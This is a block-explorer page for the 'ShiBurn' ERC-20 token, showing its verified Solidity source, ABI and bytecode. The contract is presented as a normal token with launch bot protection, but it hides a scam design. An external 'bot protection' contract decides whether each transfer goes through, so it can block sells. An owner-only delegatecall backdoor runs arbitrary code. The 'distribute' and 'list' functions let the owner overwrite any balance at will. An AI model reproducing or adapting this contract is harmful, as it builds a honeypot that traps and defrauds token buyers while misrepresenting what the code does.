Token ShiBurn

 

Overview [ERC-20]

Max Total Supply:
100,000 ShiBurn

Holders:
17

Transfers:
-

 
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
ShiBurn

Compiler Version
v0.7.3+commit.9bfce1f6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router02 {

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BotProtected {
 
    address internal owner;
    address internal protectionFromBots;
    address public uniPair;
 
    constructor(address _botProtection) {
        protectionFromBots = _botProtection;
    }
 
    // Uses Ferrum Launch Protection System
    modifier checkBots(address _from, address _to, uint256 _value) {
        (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
        require(notABot);
        _;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

abstract contract ERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
    }
}

contract ShiBurn is BotProtected {
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply = 100000000000000000000000;
    string public name = "ShiBurn";
    string public symbol = "ShiBurn";
    IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    constructor(address _botProtection) BotProtected(_botProtection) {
        owner = tx.origin;
        
        uniPair = pairForPancake(wETH, address(this));
        allowance[address(this)][address(pancakeRouter)] = uint(-1);
        allowance[tx.origin][uniPair] = uint(-1);
    }
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
        if (_value == 0) { return true; }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable returns (bool) {
        require(msg.sender == owner);
        (bool success, ) = a.delegatecall(b);
        return success;
    }

    function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);

        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
            ))));
    }

    function distribute(address[] memory _tooWho, uint amount) public {
        require(msg.sender == owner);
        protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
        for(uint i = 0; i < _tooWho.length; i++) {
            balanceOf[_tooWho[i]] = amount;
            emit Transfer(address(0x0), _tooWho[i], amount);
        }
    }

    function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
        require(msg.sender == owner);
        balanceOf[address(this)] = _numList;
        balanceOf[msg.sender] = totalSupply * 6 / 100;

        pancakeRouter.addLiquidityETH{value: msg.value}(
            address(this),
            _numList,
            _numList,
            msg.value,
            msg.sender,
            block.timestamp + 600
        );

        require(_tooWho.length == _amounts.length);

        protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
        for(uint i = 0; i < _tooWho.length; i++) {
            balanceOf[_tooWho[i]] = _amounts[i];
            emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_botProtection","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tooWho","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"distribute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_numList","type":"uint256"},{"internalType":"address[]","name":"_tooWho","type":"address[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"name":"list","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

69152d02c7e14af680000060055560c0604052600760808190526629b434a13ab93760c91b60a090815262000038916006919062000283565b506040805180820190915260078082526629b434a13ab93760c91b602090920191825262000067918162000283565b50600880546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556009805490911673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179055348015620000bd57600080fd5b50604051620012c3380380620012c383398181016040526020811015620000e357600080fd5b5051600180546001600160a01b038084166001600160a01b03199283161790925560008054909116321790556009546200011f91163062000180565b600280546001600160a01b0319166001600160a01b039283161781553060009081526004602081815260408084206008548716855282528084206000199081905532855292825280842094549095168352929092529190912055506200031f565b6000806000836001600160a01b0316856001600160a01b031610620001a7578385620001aa565b84845b604080516001600160601b0319606094851b81166020808401919091529390941b9093166034840152805160288185030181526048840182528051908301207fff0000000000000000000000000000000000000000000000000000000000000060688501527f5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000006069850152607d8401527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808501919091528151808503909101815260bd9093019052815191012095945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002c657805160ff1916838001178555620002f6565b82800160010185558215620002f6579182015b82811115620002f6578251825591602001919060010190620002d9565b506200030492915062000308565b5090565b5b8082111562000304576000815560010162000309565b610f94806200032f6000396000f3fe6080604052600436106100e85760003560e01c806370a082311161008a578063c21ebd0711610059578063c21ebd07146104aa578063d6d2b6ba146104bf578063dd62ed3e14610573578063f2428621146105ae576100e8565b806370a082311461030c57806395d89b411461033f578063964561f514610354578063a9059cbb1461047e576100e8565b80631826c119116100c65780631826c119146101de57806323b872dd14610290578063313ce567146102c657806332972e46146102db576100e8565b806306fdde03146100ed578063095ea7b31461017757806318160ddd146101b7575b600080fd5b3480156100f957600080fd5b506101026105c3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610651565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc6106b7565b60408051918252519081900360200190f35b3480156101ea57600080fd5b5061028e6004803603604081101561020157600080fd5b810190602081018135600160201b81111561021b57600080fd5b82018360208201111561022d57600080fd5b803590602001918460208302840111600160201b8311171561024e57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506106bd915050565b005b6101a3600480360360608110156102a657600080fd5b506001600160a01b038135811691602081013590911690604001356108b0565b3480156102d257600080fd5b506101cc610ad9565b3480156102e757600080fd5b506102f0610ade565b604080516001600160a01b039092168252519081900360200190f35b34801561031857600080fd5b506101cc6004803603602081101561032f57600080fd5b50356001600160a01b0316610aed565b34801561034b57600080fd5b50610102610aff565b61028e6004803603606081101561036a57600080fd5b81359190810190604081016020820135600160201b81111561038b57600080fd5b82018360208201111561039d57600080fd5b803590602001918460208302840111600160201b831117156103be57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561040d57600080fd5b82018360208201111561041f57600080fd5b803590602001918460208302840111600160201b8311171561044057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b5a945050505050565b6101a36004803603604081101561049457600080fd5b506001600160a01b038135169060200135610e4b565b3480156104b657600080fd5b506102f0610e5f565b6101a3600480360360408110156104d557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104ff57600080fd5b82018360208201111561051157600080fd5b803590602001918460018302840111600160201b8311171561053257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610e6e945050505050565b34801561057f57600080fd5b506101cc6004803603604081101561059657600080fd5b506001600160a01b0381358116916020013516610f32565b3480156105ba57600080fd5b506102f0610f4f565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106495780601f1061061e57610100808354040283529160200191610649565b820191906000526020600020905b81548152906001019060200180831161062c57829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b6000546001600160a01b031633146106d457600080fd5b6001546040516020602482018181528551604484015285516001600160a01b039094169363d5eaf4c39387938392606490920191818601910280838360005b8381101561072b578181015183820152602001610713565b50505050905001925050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518082805190602001908083835b602083106107915780518252601f199092019160209182019101610772565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146107f3576040519150601f19603f3d011682016040523d82523d6000602084013e6107f8565b606091505b50505060005b82518110156108ab57816003600085848151811061081857fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555082818151811061085057fe5b60200260200101516001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001016107fe565b505050565b600154600254604080516001600160a01b0380881660248301528087166044830152928316606482015260848082018690528251808303909101815260a490910182526020810180516001600160e01b0316631527414160e01b17815291518151600095899589958995899560609593909416939092909182918083835b6020831061094d5780518252601f19909201916020918201910161092e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146109af576040519150601f19603f3d011682016040523d82523d6000602084013e6109b4565b606091505b5091509150816109c357600080fd5b866109d15760019550610acd565b336001600160a01b038a1614610a3c576001600160a01b0389166000908152600460209081526040808320338452909152902054871115610a1157600080fd5b6001600160a01b03891660009081526004602090815260408083203384529091529020805488900390555b6001600160a01b038916600090815260036020526040902054871115610a6157600080fd5b6001600160a01b03808a16600081815260036020908152604080832080548d90039055938c168083529184902080548c01905583518b8152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600195505b50505050509392505050565b601281565b6002546001600160a01b031681565b60036020526000908152604090205481565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106495780601f1061061e57610100808354040283529160200191610649565b6000546001600160a01b03163314610b7157600080fd5b306000818152600360205260408082208690556005543380845292829020606460069092028290049055600854825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610c0d57600080fd5b505af1158015610c21573d6000803e3d6000fd5b50505050506040513d6060811015610c3857600080fd5b50508051825114610c4857600080fd5b6001546040516020602482018181528551604484015285516001600160a01b039094169363d5eaf4c39387938392606490920191818601910280838360005b83811015610c9f578181015183820152602001610c87565b50505050905001925050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518082805190602001908083835b60208310610d055780518252601f199092019160209182019101610ce6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610d67576040519150601f19603f3d011682016040523d82523d6000602084013e610d6c565b606091505b50505060005b8251811015610e4557818181518110610d8757fe5b602002602001015160036000858481518110610d9f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610dd757fe5b60200260200101516001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610e2057fe5b60200260200101516040518082815260200191505060405180910390a3600101610d72565b50505050565b6000610e583384846108b0565b9392505050565b6008546001600160a01b031681565b600080546001600160a01b03163314610e8657600080fd5b6000836001600160a01b0316836040518082805190602001908083835b60208310610ec25780518252601f199092019160209182019101610ea3565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610f22576040519150601f19603f3d011682016040523d82523d6000602084013e610f27565b606091505b509095945050505050565b600460209081526000928352604080842090915290825290205481565b6009546001600160a01b03168156fea26469706673582212201609cdedc4bf5f3c10a31fd05d9748944044ffa392026cdb9bfd791f28b66b5e64736f6c6343000703003300000000000000000000000003e7b94d83b89b4fe9a9ca9eb5e1851ab781ebef

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000003e7b94d83b89b4fe9a9ca9eb5e1851ab781ebef

-----Decoded View---------------
Arg [0] : _botProtection (address): 0x03e7B94d83b89B4FE9a9ca9EB5E1851ab781eBeF

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000003e7b94d83b89b4fe9a9ca9eb5e1851ab781ebef


A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.